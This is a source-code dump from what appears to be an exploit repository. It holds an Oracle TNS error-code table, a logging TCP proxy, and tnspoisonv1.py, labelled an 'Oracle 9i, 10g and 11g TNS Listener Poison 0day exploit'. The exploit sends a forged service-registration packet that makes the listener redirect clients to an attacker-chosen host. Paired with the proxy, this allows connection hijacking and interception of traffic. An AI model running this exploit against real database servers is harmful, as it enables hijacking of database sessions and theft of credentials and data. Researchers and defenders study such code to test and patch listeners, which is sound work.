"TNS-12564":'TNS:connection refused', 830 | "TNS-12566":'TNS:protocol error', 831 | "TNS-12569":'TNS:packet checksum failure', 832 | "TNS-12570":'TNS:packet reader failure', 833 | "TNS-12571":'TNS:packet writer failure', 834 | "TNS-12574":'TNS:redirection denied', 835 | "TNS-12582":'TNS:invalid operation', 836 | "TNS-12583":'TNS:no reader', 837 | "TNS-12585":'TNS:data truncation', 838 | "TNS-12589":'TNS:connection not bequeathable', 839 | "TNS-12590":'TNS:no I/O buffer', 840 | "TNS-12591":'TNS:event signal failure', 841 | "TNS-12592":'TNS:bad packet', 842 | "TNS-12593":'TNS:no registered connection', 843 | "TNS-12595":'TNS:no confirmation', 844 | "TNS-12596":'TNS:internal inconsistency', 845 | "TNS-12597":'TNS:connect descriptor already in use', 846 | "TNS-12598":'TNS:banner registration failed', 847 | "TNS-12599":'TNS:cryptographic checksum mismatch', 848 | "TNS-12600":'TNS: string open failed', 849 | "TNS-12601":'TNS:information flags check failed', 850 | "TNS-12602":'TNS: Connection Pooling limit reached', 851 | "TNS-12604":'TNS: Application timeout occurred', 852 | "TNS-12606":'TNS: Application timeout occurred', 853 | "TNS-12607":'TNS: Connect timeout occurred', 854 | "TNS-12608":'TNS: Send timeout occurred', 855 | "TNS-12609":'TNS: Receive timeout occurred', 856 | "TNS-12611":'TNS:operation is not portable', 857 | "TNS-12612":'TNS:connection is busy', 858 | "TNS-12615":'TNS:preempt error', 859 | "TNS-12616":'TNS:no event signals', 860 | "TNS-12617":"TNS:bad 'what' type", 861 | "TNS-12618":'TNS:versions are incompatible', 862 | "TNS-12619":'TNS:unable to grant requested service', 863 | "TNS-12620":'TNS:requested characteristic not available', 864 | "TNS-12622":'TNS:event notifications are not homogeneous', 865 | "TNS-12623":'TNS:operation is illegal in this state', 866 | "TNS-12624":'TNS:connection is already registered', 867 | "TNS-12625":'TNS:missing argument', 868 | "TNS-12626":'TNS:bad event type', 869 | "TNS-12628":'TNS:no event callbacks', 870 | "TNS-12629":'TNS:no event test', 871 | "TNS-12630":'Native service operation not supported', 872 | "TNS-12631":'Username retrieval failed', 873 | "TNS-12632":'Role fetch failed', 874 | "TNS-12633":'No shared authentication services', 875 | "TNS-12634":'Memory allocation failed', 876 | "TNS-12635":'No authentication adapters available', 877 | "TNS-12636":'Packet send failed', 878 | "TNS-12637":'Packet receive failed', 879 | "TNS-12638":'Credential retrieval failed', 880 | "TNS-12639":'Authentication service negotiation failed', 881 | "TNS-12640":'Authentication adapter initialization failed', 882 | "TNS-12641":'Authentication service failed to initialize', 883 | "TNS-12642":'No session key', 884 | "TNS-12643":'Client received internal error from server', 885 | "TNS-12644":'Authentication service initialization failed', 886 | "TNS-12645":'Parameter does not exist.', 887 | "TNS-12646":'Invalid value specified for boolean parameter', 888 | "TNS-12647":'Authentication required', 889 | "TNS-12648":'Encryption or data integrity algorithm list empty', 890 | "TNS-12649":'Unknown encryption or data integrity algorithm', 891 | "TNS-12650":'No common encryption or data integrity algorithm', 892 | "TNS-12651":'Encryption or data integrity algorithm unacceptable', 893 | "TNS-12652":'String truncated', 894 | "TNS-12653":'Authentication control function failed', 895 | "TNS-12654":'Authentication conversion failed', 896 | "TNS-12655":'Password check failed', 897 | "TNS-12656":'Cryptographic checksum mismatch', 898 | "TNS-12657":'No algorithms installed', 899 | "TNS-12658":'ANO service required but TNS version is incompatible', 900 | "TNS-12659":'Error received from other process', 901 | "TNS-12660":'Encryption or crypto-checksumming parameters incompatible', 902 | "TNS-12661":'Protocol authentication to be used', 903 | "TNS-12662":'proxy ticket retrieval failed', 904 | "TNS-12663":'Services required by client not available on the server', 905 | "TNS-12664":'Services required by server not available on the client', 906 | "TNS-12665":'NLS string open failed', 907 | "TNS-12666":'Dedicated server: outbound transport protocol different from inbound', 908 | "TNS-12667":'Shared server: outbound transport protocol different from inbound', 909 | "TNS-12668":'Dedicated server: outbound protocol does not support proxies', 910 | "TNS-12669":'Shared server: outbound protocol does not support proxies', 911 | "TNS-12670":'Incorrect role password', 912 | "TNS-12671":'Shared server: adapter failed to save context', 913 | "TNS-12672":'Database logon failure', 914 | "TNS-12673":'Dedicated server: context not saved', 915 | "TNS-12674":'Shared server: proxy context not saved', 916 | "TNS-12675":'External user name not available yet', 917 | "TNS-12676":'Server received internal error from client', 918 | "TNS-12677":'Authentication service not supported by database link', 919 | "TNS-12678":'Authentication disabled but required', 920 | "TNS-12679":'Native services disabled by other process but required', 921 | "TNS-12680":'Native services disabled but required', 922 | "TNS-12681":'Login failed: the SecurID card does not have a pincode yet', 923 | "TNS-12682":'Login failed: the SecurID card is in next PRN mode', 924 | "TNS-12683":'encryption/crypto-checksumming: no Diffie-Hellman seed', 925 | "TNS-12684":'encryption/crypto-checksumming: Diffie-Hellman seed too small', 926 | "TNS-12685":'Native service required remotely but disabled locally', 927 | "TNS-12686":'Invalid command specified for a service', 928 | "TNS-12687":'Credentials expired.', 929 | "TNS-12688":'Login failed: the SecurID server rejected the new pincode', 930 | "TNS-12689":'Server Authentication required, but not supported', 931 | "TNS-12690":'Server Authentication failed, login cancelled', 932 | "TNS-12696":'Double Encryption Turned On, login disallowed', 933 | "TNS-12699":'Native service internal error' 934 | } 935 | 936 | def getTnsErrorMessage(errCode): 937 | TNS_ERROR_CODES 938 | 939 | err = "" 940 | 941 | if len(errCode) < 5: 942 | errCode = "0"*(5-len(errCode)) + errCode 943 | 944 | if not errCode.upper().startswith("TNS-"): 945 | errCode = "TNS-%s" % errCode 946 | 947 | if TNS_ERROR_CODES.has_key(errCode): 948 | return TNS_ERROR_CODES[errCode] 949 | else: 950 | return None 951 | -------------------------------------------------------------------------------- /proxy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import socket,asyncore 4 | 5 | class forwarder(asyncore.dispatcher): 6 | def __init__(self, ip, port, remoteip,remoteport,backlog=5): 7 | asyncore.dispatcher.__init__(self) 8 | self.remoteip=remoteip 9 | self.remoteport=remoteport 10 | self.create_socket(socket.AF_INET,socket.SOCK_STREAM) 11 | self.set_reuse_addr() 12 | self.bind((ip,port)) 13 | self.listen(backlog) 14 | 15 | def handle_accept(self): 16 | conn, addr = self.accept() 17 | # print '--- Connect --- ' 18 | sender(receiver(conn),self.remoteip,self.remoteport) 19 | 20 | class receiver(asyncore.dispatcher): 21 | def __init__(self,conn): 22 | asyncore.dispatcher.__init__(self,conn) 23 | self.from_remote_buffer='' 24 | self.to_remote_buffer='' 25 | self.sender=None 26 | 27 | def handle_connect(self): 28 | pass 29 | 30 | def handle_read(self): 31 | read = self.recv(4096) 32 | # print '%04i -->'%len(read) 33 | self.from_remote_buffer += read 34 | print "RECV %s" % repr(read) 35 | 36 | def writable(self): 37 | return (len(self.to_remote_buffer) > 0) 38 | 39 | def handle_write(self): 40 | print "SEND %s" % repr(self.to_remote_buffer) 41 | sent = self.send(self.to_remote_buffer) 42 | # print '%04i <--'%sent 43 | self.to_remote_buffer = self.to_remote_buffer[sent:] 44 | 45 | def handle_close(self): 46 | self.close() 47 | if self.sender: 48 | self.sender.close() 49 | 50 | class sender(asyncore.dispatcher): 51 | def __init__(self, receiver, remoteaddr,remoteport): 52 | asyncore.dispatcher.__init__(self) 53 | self.receiver=receiver 54 | receiver.sender=self 55 | self.create_socket(socket.AF_INET, socket.SOCK_STREAM) 56 | self.connect((remoteaddr, remoteport)) 57 | 58 | def handle_connect(self): 59 | pass 60 | 61 | def handle_read(self): 62 | read = self.recv(4096) 63 | # print '<-- %04i'%len(read) 64 | self.receiver.to_remote_buffer += read 65 | 66 | def writable(self): 67 | return (len(self.receiver.from_remote_buffer) > 0) 68 | 69 | def handle_write(self): 70 | sent = self.send(self.receiver.from_remote_buffer) 71 | # print '--> %04i'%sent 72 | self.receiver.from_remote_buffer = self.receiver.from_remote_buffer[sent:] 73 | 74 | def handle_close(self): 75 | self.close() 76 | self.receiver.close() 77 | 78 | if __name__=='__main__': 79 | import optparse 80 | parser = optparse.OptionParser() 81 | 82 | parser.add_option( 83 | '-l','--local-ip', 84 | dest='local_ip',default='127.0.0.1', 85 | help='Local IP address to bind to') 86 | parser.add_option( 87 | '-p','--local-port', 88 | type='int',dest='local_port',default=80, 89 | help='Local port to bind to') 90 | parser.add_option( 91 | '-r','--remote-ip',dest='remote_ip', 92 | help='Local IP address to bind to') 93 | parser.add_option( 94 | '-P','--remote-port', 95 | type='int',dest='remote_port',default=80, 96 | help='Remote port to bind to') 97 | options, args = parser.parse_args() 98 | 99 | forwarder(options.local_ip,options.local_port,options.remote_ip,options.remote_port) 100 | asyncore.loop() 101 | 102 | -------------------------------------------------------------------------------- /tnspoisonv1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | """ 4 | Oracle 9i, 10g and 11g TNS Listener Poison 0day exploit 5 | Copyright (c) Joxean Koret 2008 6 | """ 7 | 8 | import sys 9 | import time 10 | import struct 11 | import socket 12 | 13 | from libtns import * 14 | 15 | def main(host, aport, service, targetHost, targetPort): 16 | 17 | if len(service) != 6: 18 | print "[!] Sorry! This version just poisons 6 characters long database names" 19 | sys.exit(2) 20 | 21 | if len(aport) > 4: 22 | print "[!] Sorry! This version only works with at most 4 characters long port numbers" 23 | sys.exit(3) 24 | 25 | if len(host) > 32: 26 | print "[!] Sorry! The server name must be at most 32 characters long" 27 | sys.exit(4) 28 | 29 | target = host.ljust(32) 30 | port = aport.ljust(4) 31 | 32 | hostDescription = '(HOST=%s)\x00' % target 33 | hostDescriptionSize = 40 34 | serviceDescription = '%s\x00' % service 35 | serviceDescriptionSize = 7 36 | instance1Description = '%sXDB\x00' % service 37 | instance1DescriptionSize = 10 38 | instance2Description = '%s_XPT\x00' % service 39 | instance1DescriptionSize = 11 40 | clientDescription = '(ADDRESS=(PROTOCOL=tcp)(HOST=%s)(PORT=57569))\x00' % target 41 | clientDescriptionSize = 76 42 | dispatcherDescription = 'DISPATCHER \x00' % target 43 | dispatcherDescriptionSize = 67 44 | redirectTo = '(ADDRESS=(PROTOCOL=TCP)(HOST=%s)(PORT=%s))\x00' % (target, port) 45 | redirectToSize = 75 46 | handlerName = 'D000\x00' 47 | handlerSize = 5 48 | 49 | buf = '\x04N\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x04D \x08' 50 | buf += '\xff\x03\x01\x00\x12444448\x10\x102\x102\x10' 51 | buf += '2\x102\x102Tv\x008\x102TvD\x00\x00' 52 | buf += '\x80\x02\x00\x00\x00\x00\x04\x00\x00\x08m\xd2\x0e\x90\x00#' 53 | buf += '\x00\x00\x00' 54 | buf += 'BEC76C2CC136-5F9F-E034-0003BA1374B3' 55 | buf += '\x03' 56 | buf += '\x00e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\xd4\x03' 57 | buf += '\x00\x80\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x01\x00' 58 | buf += '\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\xc42\xd0\x0e\x01\x00' 59 | buf += '\x00\x00\xcc\x01' 60 | buf += '\xf9' 61 | buf += '\xb7\x00\x00\x00\x00' 62 | buf += '\xd0t\xd1\x0eS\xcc' 63 | buf += '\xd3f \x0f\x07V\xe0@\x00\x7f\x01\x00,\xa1\x07\x00' 64 | buf += '\x00\x00D\x8cx*(\x00\x00\x00\xa4\x02\xf9\xb7\x1e\x00' 65 | buf += '\x00\x00\x00\x14\x00\x00\x01\x00\x00\x00\xaa\x00\x00\x00\x00\x00' 66 | buf += '\x00\x00\x00\x00\x00\x00\xb82\xd0\x0e' 67 | buf += serviceDescription 68 | buf += hostDescription 69 | buf += '\x01\x00\x00\x00\n\x00\x00\x00\x01\x00\x00\x000\xc6g*' 70 | buf += '\x02\x00\x00\x00\x14\xc6g*\x00\x00\x00\x000t\xd1\x0e' 71 | buf += instance1Description 72 | buf += '\n\x00\x00\x000\xc6' 73 | buf += 'g*\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00' 74 | buf += '\x00\x00\x10p\xd1\x0e' 75 | buf += instance1Description 76 | buf += '\x01\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x00\x00<>v*' 77 | buf += '\x02\x00\x00\x00 >v*\x00\x00\x00\x00\xe0s\xd1\x0e' 78 | buf += instance2Description 79 | buf += '\x0b\x00\x00\x00<' 80 | buf += '>v*\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 81 | buf += '\x00\x00\x00\xb0I\xd0\x0e' 82 | buf += instance2Description 83 | buf += '\x01\x00\x00\x00\x07\x00\x00\x00\x01\x00\x00\x00@@\x83!' 84 | buf += '\x02\x00\x00\x00$@\x83!\x00\x00\x00\x00 u\xd1\x0e' 85 | buf += serviceDescription 86 | buf += '\x07\x00\x00\x00@@\x83!\x04' 87 | buf += '\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x80' 88 | buf += 'I\xd0\x0e' 89 | buf += serviceDescription 90 | buf += '\x01\x00\x00\x00\x10\x00' 91 | buf += '\x00\x00\x02\x00\x00\x00' 92 | #buf += 'L' # Size of the client description???? L -> 76 -> 0x4C 93 | buf += chr(len(clientDescription)) 94 | buf += 'p\xd1\x0e\x04\x00\x00\x000s\xf9' 95 | buf += '\xb7\x00\x00\x00\x00\x80t\xd1\x0eS\xcc\xd3f \x15\x07' 96 | buf += 'V\xe0@\x00\x7f\x01\x00,\xa1\x05\x00\x00\x00\xfc\x8d\x98' 97 | buf += '(L\x00\x00\x00T@\x83!C\x00\x00\x00ps\xf9' 98 | buf += '\xb7' 99 | buf += '\x00\x08\x00\x00' # Handler Current 100 | buf += '\x00\x04\x00\x00' # Handler Max 101 | buf += '\x04\x10' # Handler something? Don't know... 102 | buf += '\x00\x00\x01\x00\x00' 103 | buf += '\x00\xd0}u*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 104 | buf += '\x00@p\xd1\x0e' 105 | buf += handlerName 106 | buf += clientDescription 107 | buf += dispatcherDescription 108 | buf += '\x01' # Number of handlers????? 109 | buf += '\x00\x00\x00\x10' 110 | buf += '\x00\x00\x00\x02\x00\x00\x01T4\xd0' 111 | buf += '\x0e\x04\x00\x00\x00\xf8s\xf9\xb7\x00\x00\x00\x00\x00\x00\x00' 112 | buf += '\x00S\xcc\xd3f \x11\x07V\xe0@\x00\x7f\x01\x00,\xa1' 113 | buf += '\x14\xc6g*\n\x00\x00\x00\x1cX@\x0cK\x00\x00\x00' 114 | buf += '\xac@\x83!\x0e\x00\x00\x00lX@\x0c\x03\x00\x00\x00' 115 | buf += '\x95\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\xc8\x8cx*' 116 | buf += '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00H4\xd0\x0e' 117 | buf += 'DEDICATED\x00' 118 | buf += redirectTo 119 | buf += 'REMOTE SERVER\x00' 120 | buf += '\n\x00' 121 | buf += '\x00\x000\xc6g*\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00' 122 | buf += '\x00\x00\x00\x00\x00\x00\x10p\xd1\x0e' 123 | buf += instance1Description 124 | buf += '$@\x83! >v*\x00\x00\x00\x00\x07\x00\x00\x00' 125 | buf += '@@\x83!\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00' 126 | buf += '\x00\x00\x00\x00\x80I\xd0\x0e' 127 | buf += serviceDescription 128 | buf += '\x0b' 129 | buf += '\x00\x00\x00<>v*\x04\x00\x00\x00\x00\x00\x00\x00\x00' 130 | buf += '\x00\x00\x00\x00\x00\x00\x00\xb0I\xd0\x0e' 131 | buf += instance2Description 132 | buf += '\x00\x00' 133 | 134 | while 1: 135 | pkt = TNSPacket() 136 | mbuf = pkt.getPacket("(CONNECT_DATA=(COMMAND=service_register_NSGR))") 137 | 138 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 139 | s.connect((targetHost, int(targetPort))) 140 | print "Sending initial buffer ..." 141 | s.send(mbuf) 142 | res = s.recv(8192) 143 | 144 | tnsRes = TNSBasePacket() 145 | tnsRes.readPacket(res) 146 | print "Answer: %s(%d)" % (tnsRes.getPacketTypeString(), ord(tnsRes.packetType)) 147 | 148 | print "Sending registration ..." 149 | print repr(buf)[:80] 150 | s.send(buf) 151 | res = s.recv(8192) 152 | 153 | tnsRes = TNSBasePacket() 154 | tnsRes.readPacket(res) 155 | print "Answer: %s(%d)" % (tnsRes.getPacketTypeString(), ord(tnsRes.packetType)) 156 | print repr(res) 157 | print "Sleeping for 10 seconds... (Ctrl+C to stop)..." 158 | time.sleep(10) 159 | s.close() 160 | 161 | def showTnsError(res): 162 | pos = res.find("DESCRIPTION") 163 | print "TNS Listener returns an error:" 164 | print 165 | print "Raw response:" 166 | print repr(res) 167 | print 168 | print "Formated response:" 169 | formatter = TNSDataFormatter(res[pos-1:]) 170 | print formatter.format() 171 | 172 | tns = TNS() 173 | errCode = tns.extractErrorcode(res) 174 | 175 | if errCode: 176 | print "TNS-%s: %s" % (errCode, tns.getTnsError(errCode)) 177 | 178 | def usage(): 179 | print "Usage:", sys.argv[0], " " 180 | print 181 | 182 | if __name__ == "__main__": 183 | if len(sys.argv) < 6: 184 | usage() 185 | sys.exit(1) 186 | else: 187 | main(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4], sys.argv[5]) 188 | 189 | --------------------------------------------------------------------------------